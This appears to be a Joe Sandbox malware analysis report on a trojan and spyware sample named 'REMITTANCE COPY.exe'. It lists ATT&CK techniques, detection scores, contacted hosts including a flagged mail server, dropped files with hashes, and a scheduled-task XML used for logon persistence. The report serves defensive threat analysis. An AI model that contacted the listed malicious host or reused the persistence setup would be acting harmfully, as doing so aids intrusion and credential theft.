Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
REMITTANCE COPY.exe	45%	ReversingLabs
REMITTANCE COPY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	45%	ReversingLabs

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
ip-api.com	208.95.112.1	true	false	high
mail.tabcoeng.com	135.181.124.14	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://tempuri.org/x.xsd?MultiGames.Properties.Resources	REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr	false	unknown
http://mail.tabcoeng.com	MSBuild.exe, 00000008.00000002.2076423787.0000000002FC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3251502190.0000000002F64000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://account.dyn.com/	REMITTANCE COPY.exe, 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, CNqCubHKvlzbGo.exe, 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	REMITTANCE COPY.exe, 00000000.00000002.2051789680.0000000002A04000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2076423787.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, CNqCubHKvlzbGo.exe, 00000009.00000002.2094246093.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3251502190.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/zuppao).	REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr	false	high
http://ip-api.com	MSBuild.exe, 00000008.00000002.2076423787.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3251502190.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
135.181.124.14	mail.tabcoeng.com	Germany		24940	HETZNER-ASDE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428765
Start date and time:	2024-04-19 15:36:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	REMITTANCE COPY.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@19/15@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 197 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 40.68.123.157, 199.232.210.172, 192.229.211.108, 199.232.214.172, 20.242.39.171, 20.3.187.198
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: REMITTANCE COPY.exe

Simulations

Behavior and APIs

Time	Type	Description
15:36:56	API Interceptor	1x Sleep call for process: REMITTANCE COPY.exe modified
15:36:57	API Interceptor	38x Sleep call for process: powershell.exe modified
15:36:59	Task Scheduler	Run new task: CNqCubHKvlzbGo path: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe
15:37:00	API Interceptor	38x Sleep call for process: MSBuild.exe modified
15:37:01	API Interceptor	1x Sleep call for process: CNqCubHKvlzbGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	New Voicemail_Daiichi-Sankyo.html	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json/?fields=status,country,regionName,city,query
	DHL.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	KjCBSM7Ukv.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	ip-api.com/line/?fields=hosting
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Win64.Evo-gen.10533.31255.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json
	13w4NM6mPa.exe	Get hash	malicious	LummaC	Browse	ip-api.com/json
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	ip-api.com/line/?fields=hosting
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	ip-api.com/line/?fields=hosting
	Syknivkloo.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Shipping Dcuments_CI PKL_HL_.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	192.229.211.108
	purchaseorder4.exe	Get hash	malicious	Python Stealer	Browse	192.229.211.108
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://app.box.com/s/ktl5qtvf2us1megbgmjabwqaxcdy69b5	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://dt.r24dmp.de/	Get hash	malicious	Unknown	Browse	192.229.211.108
	s.exe	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://bestprizerhere.life/?u=3w8p605&o=pn1kfzq&t=pshtb_redirectUrl_body	Get hash	malicious	GRQ Scam	Browse	192.229.211.108
	http://bestprizerhere.life/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
ip-api.com	New Voicemail_Daiichi-Sankyo.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	DHL.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	KjCBSM7Ukv.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	208.95.112.1
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win64.Evo-gen.10533.31255.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	13w4NM6mPa.exe	Get hash	malicious	LummaC	Browse	208.95.112.1
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	Syknivkloo.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Shipping Dcuments_CI PKL_HL_.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
bg.microsoft.map.fastly.net	purchaseorder4.exe	Get hash	malicious	Python Stealer	Browse	199.232.210.172
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	199.232.210.172
	s.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://bestprizerhere.life/?u=3w8p605&o=pn1kfzq&t=pshtb_redirectUrl_body	Get hash	malicious	GRQ Scam	Browse	199.232.214.172
	https://jll2.sharepoint.com/:f:/t/WorkplaceStrategy274/EqyxzpLxD8lEhSn1hXMNtKMBbmoik8-xeuIbHrYk7cgngA?e=5%3a2wyFQq&at=9&xsdata=MDV8MDJ8cGF0cmljaWEucmliZWlyb0Bub3ZvYmFuY28ucHR8NjlmMTdkMWU5YzBjNDFkN2UwZmIwOGRjNTNjN2YwZTV8MTAzMzgwNDgxOTNhNDI5OGFiZWEzNTk2YWU4OGIwNWV8MHwwfDYzODQ3NzM2NTQwMjI0OTQwNXxVbmtub3dufFRXRnBiR1pzYjNkOGV5SldJam9pTUM0d0xqQXdNREFpTENKUUlqb2lWMmx1TXpJaUxDSkJUaUk2SWsxaGFXd2lMQ0pYVkNJNk1uMD18MHx8fA%3d%3d&sdata=T2RkZHdHdHpwUXkxSG5Kd2Noc1RHVUc3YVNLVE1sOWZUTXdVZitYYXh6Yz0%3d	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	ServerInfo.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	xYUpeXwPkWEHXm4.exe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	https://www.joesandbox.com/login	Get hash	malicious	Unknown	Browse	199.232.210.172
	dwutTyDPzl2TBZV.exe	Get hash	malicious	AgentTesla	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	https://bestprizerhere.life/?u=3w8p605&o=pn1kfzq&t=pshtb_redirectUrl_body	Get hash	malicious	GRQ Scam	Browse	136.243.216.235
	New Soft Update.exe	Get hash	malicious	Unknown	Browse	116.203.164.39
	Oo2yeTdq5J.elf	Get hash	malicious	Mirai	Browse	88.198.32.246
	H8wnVxIEh6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.242.86.246
	QXeoSsX87R.elf	Get hash	malicious	Gafgyt, Mirai	Browse	144.79.65.41
	3OcPSlVa7n.elf	Get hash	malicious	Mirai	Browse	168.119.31.114
	http://www.indeks.pt/	Get hash	malicious	Unknown	Browse	176.9.67.69
	PBZcC2ge1z.exe	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	95.216.228.180
	https://00f82de.blob.core.windows.net/00f82de/1.html?4SdhQu6964HfYs43wfnwuulljn913CWVGBFRQHRPAHNP32199OVKO12176b14#14/43-6964/913-32199-12176	Get hash	malicious	Phisher	Browse	178.63.248.54
	Remittance Copy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	148.251.133.229
TUT-ASUS	New Voicemail_Daiichi-Sankyo.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	DHL.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	KjCBSM7Ukv.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	208.95.112.1
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win64.Evo-gen.10533.31255.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	13w4NM6mPa.exe	Get hash	malicious	LummaC	Browse	208.95.112.1
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	Syknivkloo.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Shipping Dcuments_CI PKL_HL_.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://www.dropbox.com/l/scl/AADwcgxTbjuvzakz6kszZMzP6RXavhxhixQ	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	23.1.237.91
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://bestprizerhere.life/?u=3w8p605&o=pn1kfzq&t=pshtb_redirectUrl_body	Get hash	malicious	GRQ Scam	Browse	23.1.237.91
	New Voicemail_Daiichi-Sankyo.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	VnSRmWE631.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	xYUpeXwPkWEHXm4.exe	Get hash	malicious	AgentTesla	Browse	23.1.237.91
	nBBR7c5gR5.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	dwutTyDPzl2TBZV.exe	Get hash	malicious	AgentTesla	Browse	23.1.237.91
	https://ilo.slepptek.com/	Get hash	malicious	Unknown	Browse	23.1.237.91

Process:	C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\REMITTANCE COPY.exe.log

Download File

Process:	C:\Users\user\Desktop\REMITTANCE COPY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugeC/ZPUyus:lGLHyIFKL3IZ2KRH9Oug8s
MD5:	16AD599332DD2FF94DA0787D71688B62
SHA1:	02F738694B02E84FFE3BAB7DE5709001823C6E40
SHA-256:	452876FE504FC0DBEDBD7F8467E94F6E80002DB4572D02C723ABC69F8DF0B367
SHA-512:	A96158FDFFA424A4AC01220EDC789F3236C03AAA6A7C1A3D8BE62074B4923957E6CFEEB6E8852F9064093E0A290B0E56E4B5504D18113A7983F48D5388CEC747
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bm1gfd0.v4w.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b35eofy5.2rh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0j0r0ga.coo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hwkahjeg.gvv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mafaltug.kxg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucxesdxz.ono.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vcz4ovjx.hcb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zghntjoj.vi5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp20AE.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1587
Entropy (8bit):	5.1188657750321855
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNttxvn:cgergYrFdOFzOzN33ODOiDdKrsuTzv
MD5:	BF69CCF5A98B2A72CA09573C2366CD1F
SHA1:	4D7B96892029F64A6DB740C311C8FCA514F48B60
SHA-256:	862CFEA2DF1D12F8ECB138001222F7547C1E9CC887981DB4ADD685D293293841
SHA-512:	61FD13BCD3FAD070BBBB096B84BD6F63E74906E31B90F0478DCDC4C5667CA7DCAA048AEFD22B93A0263CFF0CD7FCD3EA1F601C19191808FDCCBA45613DD1906A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. 